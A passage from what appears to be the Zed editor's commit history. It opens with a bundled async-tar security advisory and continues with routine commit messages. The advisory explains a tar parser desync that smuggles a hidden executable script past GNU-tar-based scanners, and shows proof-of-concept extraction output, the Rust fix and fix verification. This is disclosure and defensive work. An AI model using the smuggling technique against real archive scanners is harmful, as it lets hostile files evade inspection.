SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
4896f7f10c |
Thin out unnecessary dependencies from core crates (#60977)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
0aee09eb0d |
language_model: Fix compilation on wasm (#60955)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
ae6cb0aff1 |
picker: Improve multi-select discoverability and rendering (#60919)
This PR reworks how multi-select mode is rendered in pickers (only used by the file finder and text finder). The "Multi Select" entry previously lived inside the footer's Actions menu, which was hard to discover and its toggle checkmark misaligned the menu's keybinding column. This PR changes to an icon button at the far-roght edge of the search editor, with a tooltip showing the keybinding to toggle it. Also made each list item use the actual Checkbox component instead of a bespoke re-implementation of it. And in doing so, added a few design improvements to the list item so that it received the checkbox while preserving proper styles for each interaction state, as well as displaying the keybinding to select the item or check the item. Here's a quick video, showing these changes off: https://github.com/user-attachments/assets/e142f7d1-87ba-4258-844b-953ed06237bd Release Notes: - Improved multi-select in the file finder and text finder: the toggle now lives in the search bar with a `cmd-shift-s` keybinding, and selection checkboxes render inside list items. |
||
|
|
ab43548338 |
a11y: Landmarks and menu improvements (#60397)
Fixes menu a11y, and adds landmarks with `F6`-navigation. Also fixes a GPUI bug, and adds debug actions for dumping a11y tree info. Since `F6` was already in use by the pause debugger keybind, also tightens up the debugger keybind context so they require an active debugger session. When there is one active, `F6` stays as pause debugger. `ctrl-F6` always works to go to the next landmark. Also adds an "accessible mode" setting. Currently, this only controls whether we show all menus all the time, but I suspect it will expand significantly in the future. Also adds `.aria_keyshortcuts()` API, but it's not wired up within accesskit adapters, so is not yet reported to screen readers. --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
088aeb5f47 |
Drop the unused avif feature from the image dependency (#60897)
# Objective Every build of zed (and of every downstream gpui consumer) currently compiles rav1e, a full AV1 video encoder, because `image`'s default `avif` feature is enabled. That feature only provides `AvifEncoder`; AVIF *decoding* requires the separate, non-default `avif-native` feature (dav1d). So AVIF files do not decode anywhere in zed today, nothing encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e plus its support crates are dead weight in every clean build. ## Solution Pin the workspace `image` dependency to its default feature set minus `avif`. No behavior changes: AVIF files fail to decode exactly as before, and `ImageFormat::Avif` still exists (the enum is not feature-gated), so the `image_viewer` match arm compiles unchanged. The `"avif"` entry in gpui's supported-extension list is deliberately left untouched to keep the diff minimal; loading such files fails identically before and after. ## Testing - `cargo metadata` node diff (before vs after, all 1832 resolved packages): the only change in the entire graph is `image` losing `avif`/`default`/`default-formats`. - `cargo tree -i rav1e` on the Linux host, plus `--target aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse dependencies on any platform. - `rg -i avif crates/` finds only string labels (an extension list in `gpui`, a format name in `image_viewer`, an icon mapping in `theme`); `AvifEncoder` is never referenced. - `cargo check -p gpui` passes. - Isolated probe crate depending on image 0.25.10 alone (cold builds, Linux, 16 threads), default vs default-minus-avif: release drops from 191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from 75 to 42 CPU-seconds and 549 to 342 MB. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments (n/a: manifest-only change) - [x] The content adheres to Zed's UI standards (n/a: no UI change) - [x] Tests cover the new/changed behavior (no behavior change; CI covers compilation) - [x] Performance impact has been considered and is acceptable (build-time improvement only) --- Release Notes: - N/A |
||
|
|
f4bf1511a6 |
fs: Update trash crate version (#60899)
# Objective Fix errors in Windows when trashing files from the Git Panel. Closes #60716. ## Solution The solution and discussion is available at https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix was fully done on the `trash` crate. Original discussion of this issue can be found at https://github.com/zed-industries/zed/pull/59595 . ## Testing Testing was performed manually on a Windows machine by updating Zed's `fs` crate dependencies to point at the updated code and then building from source and testing out the same exact path, namely: 1. Create a new untracked file 2. Trash the file from the Git Panel's context menu 3. Confirm that, after confirming that you wish to trash the file, the file is trash and no error is shown Since this whole trash-tracking logic was implemented in the context of the project panel's undo system, I also confirmed that the changes in the crate's code didn't affect trashing and restoring on Windows. ## Self-Review Checklist: N/A ## Showcase <details> <summary>Before</summary> https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518 </details> <details> <summary>After</summary> https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02 </details> --- Release Notes: - Fixed issue when trashing untracked files in Git Panel on Windows |
||
|
|
8aa5c03670 |
agent: Sandbox security review and docs update (#60291)
Closes security loopholes and updates docs: - installs seccomp filter for blocking naughty syscalls - tightens macos seatbelt profile - fetch tool responses that redirect are now constrained by allowed domains list Also adds a few "Learn More" buttons that link to the new docs. Also fixes a bug where the agent would try to create a `~/.config/zed/AGENTS.md` directory Also adds unicode confusable detection to URL/path privilege escalation prompts. --- Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
4f6d05dde0 |
Update wayland-backend to fix Wayland file dialog crash (#60621)
On Wayland, closing a window in the brief gap between requesting a portal file dialog and ashpd exporting the window's surface (used to parent the dialog) crashed Zed with `Unknown opcode 0 for object <anonymous>@0` ([ZED-9KB](https://zed-dev.sentry.io/issues/7568720776/)). When the export request fails because the surface is already dead, wayland-scanner's generated code silently returns an inert proxy, and ashpd's `Drop` impl later sends `destroy` on it — which wayland-backend 0.3.11 answers with a panic, because it looks up the request opcode before checking whether the object is null. wayland-backend 0.3.15 fixes this ([Smithay/wayland-rs#890](https://github.com/Smithay/wayland-rs/issues/890)) by returning an error instead, which the generated destructor discards, so the drop becomes a harmless no-op. This bumps the lockfile to 0.3.15 and raises the version floor in `gpui_linux` so the fix can't silently regress via a fresh lockfile. Closes FR-100 Release Notes: - Fixed a crash on Linux (Wayland) when a window was closed just as a file dialog was being opened. |
||
|
|
bfd21aa8dc |
search: Bump fancy-regex dependency and enable CRLF mode (#55471)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #43396 Release Notes: - Project search now supports CRLF line endings correctly, as well as other regex features like subroutine calls |
||
|
|
2a69b52459 |
Bump Zed to v1.12.0 (#60600)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
057bd63412 |
editor: Decode escaped characters in hover popover links (#55973)
Decodes url escape sequences in hover preview `file:///` links like escaped spaces in the file path. I'm working on an LSP and happened to be working with some files in a directory with spaces. When adding Markdown links with `file:///` the `%20` escape for spaces was being included verbatim in the path that Zed tried to open. I'm reusing the lines from `markdown_preview_view.rs` for decoding. In the existing tests I don't see coverage for `file:///` links. If you'd like some tests for this can you point me to any examples to start from? Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed decoding spaces and other escaped characters in `file://` links used in hover popovers --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
f47073a215 |
bedrock: Add native support for Bedrock Mantle models (#60480)
Adds native support for AWS Bedrock's Mantle endpoint (`bedrock-mantle`), which serves models with no `Converse`/`Invoke` support on `bedrock-runtime`, such as GPT-5.5, GPT-5.4, and Grok 4.3 but more importantly **open-weight** models Closes #60471 ## What's changed - Renamed the existing `Model` enum in the `bedrock` crate to `ConverseModel`, and added a new `MantleModel` enum for Mantle-only models. Mantle models reuse the existing OpenAI-compatible Chat Completions/Responses request and response plumbing (`into_open_ai`/`into_open_ai_response`, `OpenAiEventMapper`/`OpenAiResponseEventMapper`) already used by the native OpenAI and OpenAI-compatible providers, rather than introducing new marshalling code. - Added a `BedrockMantleModel` language model that routes requests to the `bedrock-mantle` endpoint, dispatching to Chat Completions or the Responses API depending on the model. Mantle models appear in the model picker alongside Converse models under the same Bedrock provider. - Added region gating: `bedrock-mantle` is only available in a subset of AWS Regions, so using a Mantle model outside of them surfaces a clear error naming the current Region and the supported ones, instead of an opaque HTTP failure. - Implemented Bedrock bearer token authentication for Mantle requests: a configured Bedrock API key is used as-is, and every other auth method (IAM credentials, named profile, SSO, automatic) derives a short-term token by locally SigV4-presigning a `CallWithBearerToken` request. This requires no extra network round trip and no token caching, since re-signing locally is cheap. - Added a specific error for the 403 you get when your credentials have `bedrock:CallWithBearerToken` but not the separate `bedrock-mantle:CallWithBearerToken` permission Mantle models require, since this is the most common misconfiguration. - Added a `mantle_available_models` setting so custom models served through `bedrock-mantle` can be configured, the same way other providers support custom models via `available_models`. - Documented Mantle models and the new setting in the Amazon Bedrock section of [Use a Gateway](https://zed.dev/docs/ai/use-a-gateway#amazon-bedrock). ## Testing - Added unit tests covering: the local SigV4 bearer-token signing (including a byte-for-byte cross-check against a reference implementation), Mantle endpoint URL construction, the Mantle-supported-regions list, thinking-effort normalization, and the settings-to-model protocol mapping. - `cargo test -p bedrock -p language_models -p settings_content -p settings` passes. - `./script/clippy` passes with no new warnings. Release Notes: - Added native support for AWS Bedrock's Mantle endpoint, enabling GPT-5.5, GPT-5.4, and Grok 4.3 through the Amazon Bedrock provider. |
||
|
|
e9c324f710 |
acp: Show descriptions for elicitation options (#60527)
<img width="683" height="781" alt="image" src="https://github.com/user-attachments/assets/bcf1bc75-9bb4-4ddf-88d8-c09a4aa3f34b" /> Release Notes: - N/A |
||
|
|
ebb1d87971 |
copilot_ui: Fix Copilot sign-in window focus on Hyprland (#59933)
# Objective
The Copilot sign-in dialog was created without an `app_id` or window
title, resulting in an empty WM class/title on Linux. Tiling window
managers with class-based no-focus rules (like Hyprland's default
configuration in Omarchy) treat such windows as anonymous popups and
refuse to focus them, making the dialog impossible to interact with.
## Solution
Set both `app_id` and window title on the Copilot code verification
window, following the established pattern used in other UI components
like `agent_ui` and `settings_ui`.
Added `release_channel` as a dependency to
`crates/copilot_ui/Cargo.toml` and called
`app_id(ReleaseChannel::app_id(cx))` and `window_title("Use GitHub
Copilot in Zed")` in `open_copilot_code_verification_window`.
## Testing
Verified on Hyprland (Omarchy) by inspecting window properties with
`hyprctl clients`:
**Before (empty class/title):**
```
Window 5606ee1dd280 -> :
class:
title:
acceptsInput: 0
```
**After (with proper class/title):**
```
Window 5606ee22b660 -> Use GitHub Copilot in Zed:
class: dev.zed.Zed-Dev
title: Use GitHub Copilot in Zed
acceptsInput: 1
```
The dialog now receives keyboard focus and mouse input correctly on
Hyprland. I tested on Linux only; this fix lives in the window creation
call so it is a no-op on macOS and Windows where `app_id` is ignored.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
---
Release Notes:
- Fixed Copilot sign-in window not being focusable on Hyprland and
similar tiling window managers
---------
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
|
||
|
|
74a89a807c |
Fix MCP tools with $ref/$defs being silently rejected (#60165)
Closes #60162. MCP servers whose tool `inputSchema` uses `$ref`/`$defs` (e.g., Notion MCP v2.x, and any server using Zod/Pydantic-generated schemas) are silently rejected with: ``` ERROR Schema cannot be made compatible because it contains "$ref" ``` The affected tools are dropped from the agent panel — the user never sees them and there is no user-visible error. ## Root cause `adapt_to_json_schema_subset` rejects any schema containing `$ref` via `UNSUPPORTED_KEYS`: ```rust const UNSUPPORTED_KEYS: [&str; 4] = ["if", "then", "else", "$ref"]; ``` This is hit by every provider that uses `JsonSchemaSubset` format (Google Gemini, xAI Grok, OpenAI-compatible proxies, Vercel AI Gateway, Copilot Chat for Google/xAI vendors, OpenRouter for gemini/grok models). Providers using `JsonSchema` (Anthropic direct, OpenAI direct) don't hit this check — `$ref` is passed through to the API, which may or may not handle it correctly. This is not an edge case. Every modern MCP server using Zod (TypeScript), Pydantic (Python), or JSON Schema with shared definitions generates `$ref`/`$defs` in tool schemas. ## Fix Add a `resolve_refs` step in `adapt_schema_to_format` that dereferences all `$ref` pointers using the document's own `$defs` (or legacy `definitions`) map, making the schema self-contained before format-specific processing. Applied at the entry point so both `JsonSchema` and `JsonSchemaSubset` formats benefit. **Scope note:** previously `JsonSchema` providers (Anthropic direct, OpenAI direct) received the raw `$ref`/`$defs` and were expected to handle it themselves — which most do not. After this change, both paths receive a self-contained schema with refs inlined. This is intentional: it fixes the same root cause for both paths and avoids provider-specific behavior divergence. Supported `$ref` forms: - `#/$defs/<name>` (JSON Schema draft 2019-09+) - `#/definitions/<name>` (draft 4-7 legacy) Edge cases: - **Nested `$ref`** (definition references another definition): resolved recursively. - **Sibling properties alongside `$ref`** (e.g. `{ "$ref": "...", "description": "..." }`, legal under draft 2019-09+): merged onto the resolved definition, with siblings overriding the definition's keys. - **Cyclic references** (A → B → A, or self-referential schemas like a Tree node): replaced with an empty schema `{}` ("any JSON value"). The tool still works, just without type info for that recursive field. - **Unsupported `$ref` forms** (e.g., external URLs): returns an error with a clear message. - **Missing definition target**: returns an error naming the missing ref. ## Testing Added 10 unit tests in `crates/language_model_core/src/tool_schema.rs` that cover the patterns produced by Zod/Pydantic-generated MCP schemas: - `test_refs_are_resolved_via_adapt_schema_to_format` — basic `$ref` → `$defs` resolution - `test_refs_in_defs_are_resolved` — nested `$ref` (definition references another definition) - `test_refs_in_array_items_are_resolved` — `$ref` inside `array.items` - `test_legacy_definitions_prefix_is_supported` — old `#/definitions/<name>` prefix - `test_schema_without_defs_is_unchanged` — schemas with no `$defs` are unaffected - `test_refs_fail_for_unsupported_prefix` — external URL refs error clearly - `test_refs_fail_for_missing_definition` — missing target errors clearly - `test_cyclic_refs_are_replaced_with_empty_schema` — A → B → A cycle replaced with `{}` - `test_self_referential_ref_is_replaced_with_empty_schema` — Tree-like self-ref replaced with `{}` - `test_ref_sibling_properties_are_preserved` — sibling properties alongside `$ref` are merged onto the resolved definition Existing tests (which call `adapt_to_json_schema_subset` and `preprocess_json_schema` directly) are unaffected — the fix is additive at the `adapt_schema_to_format` level. ## Disclosure I used an LLM to help draft the implementation and tests. I reviewed and understand the change — it adds one new function (`resolve_refs`) with two helpers (`parse_ref`, `resolve_refs_recursive`), plus unit tests. Release Notes: - Fixed MCP tools with `$ref`/`$defs` in their `inputSchema` being silently rejected by providers using the JSON Schema Subset format (Google Gemini, xAI Grok, OpenAI-compatible proxies, etc.). Tools from servers like Notion MCP v2.x, and any server using Zod or Pydantic-generated schemas, now work correctly. --------- Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de> Co-authored-by: Bennet Bo Fenner <bennet@zed.dev> |
||
|
|
98580d8dfe |
Fix tree-sitter-markdown scanner serialize buffer overflow (#60312)
Zed bundles the markdown grammar's block scanner natively, and its `serialize()` `memcpy`s the open-block stack into tree-sitter's fixed 1024-byte serialization buffer with no bounds check. Markdown with roughly 255+ nested blocks overflows that buffer, and because it sits at the front of `struct TSParser`, the overflow clobbers the adjacent parse-stack pointer and heap. Debug builds of the tree-sitter runtime catch this with an assertion, but release builds like Zed's have no check and silently corrupt parser memory — which is why this surfaced as wild crashes deep in tree-sitter's parse stack rather than clean failures. Still open upstream as tree-sitter-grammars/tree-sitter-markdown#243. This PR points `tree-sitter-md` at a `zed-industries` fork whose `serialize()` refuses to write state that doesn't fit (bounded by the same running counter the header writes advance, so the check can't drift). The scanner then deserializes to a fresh state, and the pathologically nested region surfaces as ordinary tree-sitter `ERROR` nodes — visible, safe degradation for an adversarial input class, deliberately chosen over the two alternatives: truncating the block stack would deserialize into a plausible-but-wrong state and produce silently incorrect trees, and the scanner ABI offers no error channel at all (`serialize()` returns a length into a fixed buffer; there is no way to fail a parse). A nesting-depth cap at block-open time would give fully deterministic semantics, but that's a behavior change across 13 scanner call sites that belongs upstream, not in a hotfix fork. The pinned branch is upstream's `9a23c1a9` (the revision Zed already pinned) plus exactly two commits, for easy review: the guard (zed-industries/tree-sitter-markdown@179422edf8) and regression tests (zed-industries/tree-sitter-markdown@b596e73728). The deep-nesting test aborts on the unguarded scanner and passes with the guard; a moderate-nesting test pins that inputs fitting the buffer still parse cleanly. The same change is also up as zed-industries/tree-sitter-markdown#1 into the fork's default branch (`split_parser`), so future pin bumps don't lose it; if upstream fixes #243, we can drop the fork entirely on the next bump. Closes FR-115 Release Notes: - Fixed a potential crash when editing Markdown with deeply nested blocks |
||
|
|
ade9ea5ad8 |
Update Wasmtime dependencies (#60341)
Brings in the latest LTS security and bug fixes Release Notes: - N/A |
||
|
|
8510aae0f2 |
git_ui: Add configure and docs links to commit message tooltip (#60357)
When no LLM provider is configured, hovering the disabled "Generate Commit Message" button in the git panel/commit modal previously showed a plain, non-interactive tooltip with no way to act on it. This tooltip now includes two links: - **Configure Provider** — jumps directly to the "LLM Providers" settings sub-page. - **See Docs** — opens `https://zed.dev/docs/ai/llm-providers`. Also adds `IconButton::hoverable_tooltip`, mirroring the existing `.tooltip(...)` forwarding, since `IconButton` didn't previously expose the underlying `ButtonLike::hoverable_tooltip` capability needed for interactive tooltip content. Release Notes: - Improved the commit message tooltip to link directly to LLM provider settings and documentation when no provider is configured. --------- Co-authored-by: Danilo Leal <daniloleal09@gmail.com> |
||
|
|
461e6df060 |
project_symbols: Add preview to project symbols picker (#59863)
Candidate fix for #59822. Adds a live preview pane to the project symbols picker, matching the file finder and project search pickers. When the selection moves, the selected symbol's file is shown in the preview with its declaration line highlighted and vertically centered. ## Changes - `project_symbols`: construct the picker with `uniform_list_with_preview`; asynchronously open the buffer for the selected symbol (cached by candidate id, cleared on each new query) and implement `try_get_preview_data_for_match` to return the buffer plus the symbol's anchor range. - `picker`: add a public `refresh_preview` so a delegate can push preview data once a buffer finishes opening asynchronously (the symbol buffer is not available synchronously, unlike text search which already holds open buffers). #### Before <img width="1725" height="712" alt="image" src="https://github.com/user-attachments/assets/21dcd7d6-7cc4-4de8-ab7d-2f1ce143e814" /> ##### After <img width="1725" height="712" alt="image" src="https://github.com/user-attachments/assets/db981db8-0a61-43bc-9838-c01b7bdbbf78" /> Can turn preview pane off by clicking at the bottom button! ## AI disclosure AI was used for understanding the codebase and formatting this PR. Release Notes: - Added a preview pane to the project symbols picker --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
e234111ab6 |
Update openssl dependencies (#60342)
Release Notes: - N/A |
||
|
|
151ec5abe1 |
project_panel: Continue batch delete when individual entries fail (#59595)
## Summary On Windows, `trash::delete_with_info` can return an error even when the file was successfully moved to the Recycle Bin. This is caused by a race condition in the `trash` crate: after `IFileOperation::PerformOperations` completes, it re-binds the trashed item via `SHCreateItemFromParsingName` to read its metadata, but the shell's virtual namespace cache may not yet reflect the new item, producing an error. Previously, the delete loop propagated this error and aborted the entire batch. The outer `detach_and_log_err` swallowed the error, so the user received no feedback. This PR handles each entry independently: entries that fail to delete are skipped, the loop continues, and undo history is recorded for the entries that succeeded. The upstream root cause (the post-operation re-bind race in `zed-industries/trash-rs`) will be addressed separately. Before: https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d After: https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7 ## Test plan - [ ] Select multiple files in the project panel on Windows - [ ] Trash them (right-click > Move to Trash, or `Delete` key) - [ ] Confirm all selected files are deleted, even if one triggers the trash-crate race - [ ] Undo restores the files that were successfully trashed Release Notes: - Improved handling of failed trash or delete operations in the Project Panel in order to display a toast informing the user that some files could not be trashed or deleted --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
307a953190 |
wgpu: Use wgpu from crates.io (#60264)
Our patch made it upstream! So we can go back https://github.com/gfx-rs/wgpu/releases/tag/v29.0.4 Release Notes: - N/A |
||
|
|
e2deea1d5b |
markdown: Make linked images clickable (#59525)
# Objective Make images nested inside markdown links (e.g., README badges) clickable, so they behave like normal markdown links. Previously, linked images rendered correctly but were not interactive in markdown previews: they did not show a pointer cursor, could not be clicked to open their target URL, and did not expose link actions through the context menu. ## Solution Changed the `MarkdownElement` to detect when an `<img>` tag is inside a `<a>` tag during rendering. When a linked image is rendered: - The wrapper `div` gets a `cursor_pointer` style and an `on_click` handler that opens the link URL (or delegates to the `on_url_click` callback if set). - The wrapper also captures right-click events to populate the context menu with "Copy Link" via `capture_for_context_menu`. - The `on_url_click` closure type was changed from `Box<dyn Fn>` to `Rc<dyn Fn>` to allow cloning across multiple handlers. - When a linked image fails to load, the fallback element's `on_click` now calls `cx.stop_propagation()` to prevent the event from bubbling to the parent link wrapper and opening the URL twice. The feature is gated behind `!self.style.prevent_mouse_interaction` so it respects existing interaction-prevention settings. ## Testing - `cargo test -p markdown`: 95 tests passed. - Manually verified in markdown preview that badge/image links open correctly and right-click shows "Copy Link". - Verified existing markdown tests continue to pass. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed images inside markdown links not being clickable. https://github.com/user-attachments/assets/df2a8d8f-b002-47f9-b139-815ee713700b --------- Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
f63a5497e7 |
terminal_view: Use backslash escaping for dropped file paths for mac (#57747)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable When files are dragged into the terminal, paths were formatted using Rust's Debug format (`{path:?}`), which wraps them in double quotes. This caused issues with programs like Claude Code that parse bare paths from terminal input — quoted paths were treated as plain text instead of file references. This change replaces double-quote wrapping with backslash escaping for special shell characters on Unix, which is both valid shell syntax and compatible with path-parsing tools running in the terminal. On non-Unix platforms the previous behavior is preserved. Tested on macOS only. Unable to verify Windows behavior. Fixes #57471 Release Notes: - Fixed/ file drag-and-drop into terminal inserting double-quoted paths, which prevented tools like Claude Code from recognizing them as file references. --------- Co-authored-by: Conrad Irwin <conrad.irwin@gmail.com> Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
ec38b017b2 |
Bump Zed to v1.11.0 (#60209)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
ba82a7358b |
text_finder: Seed last query and filters to make quick edits easier (#59849)
## Summary It is incremental step to solve issue #59825. This PR addresses the need for facilitating quick edits for matches obtained by ‘text_finder’. This makes the text finder remember the last query, so you can jump to a match, make a quick edit, and reopen the finder to the same results instead of typing the same query again. ## Problem A common flow is, open the text editor, then jump to first match, edit that file, then reopen the finder to continue for next matches. But on the reopen, the query was seeded from under the cursor. And after editing, the cursor is usually sitting on an unrelated word, and previous search was lost. The root cause is priority, the word under the cursor was seeding the query. ## Solution Reorder query seeding so last query outranks the cursor word, then cursor word can be dropped entirely, since last query is prioritized over the word under cursor, the last query always wins, so checking the cursor word afterwards is dead code. And JetBrains makes the same choice, entirely ignores word on the cursor for seeding query. Explicit selection still outranks the last query, since selecting text is usually a deliberate choice. ### Before 1- Active project search query (if any) 2- Active buffer search query (if any) 3- Selected text or word under the cursor 4- Empty ### After 1- Active project search query (if any) 2- Active buffer search query (if any) 3- Selected text 4- Last query (of this project) 5- Empty With updated order, this friction disappears (the same order is also observed in JetBrains). To make the last query persistent, it is stored per project in the database along with the active filters (case sensitive, whole word, regex), so they also survive reopening the project. ## Testing - Manually verified the seed priority order between the options. - Verified the last query is seeded when project is reopened. - Verified filters are restored regardless of this query order. Release Notes: - Improved the text finder to seed the last query and filters to make quick edits easier. --------- Co-authored-by: ozacod <ozacod@users.noreply.github.com> Co-authored-by: Yara 🏳️⚧️ <git@yara.blue> |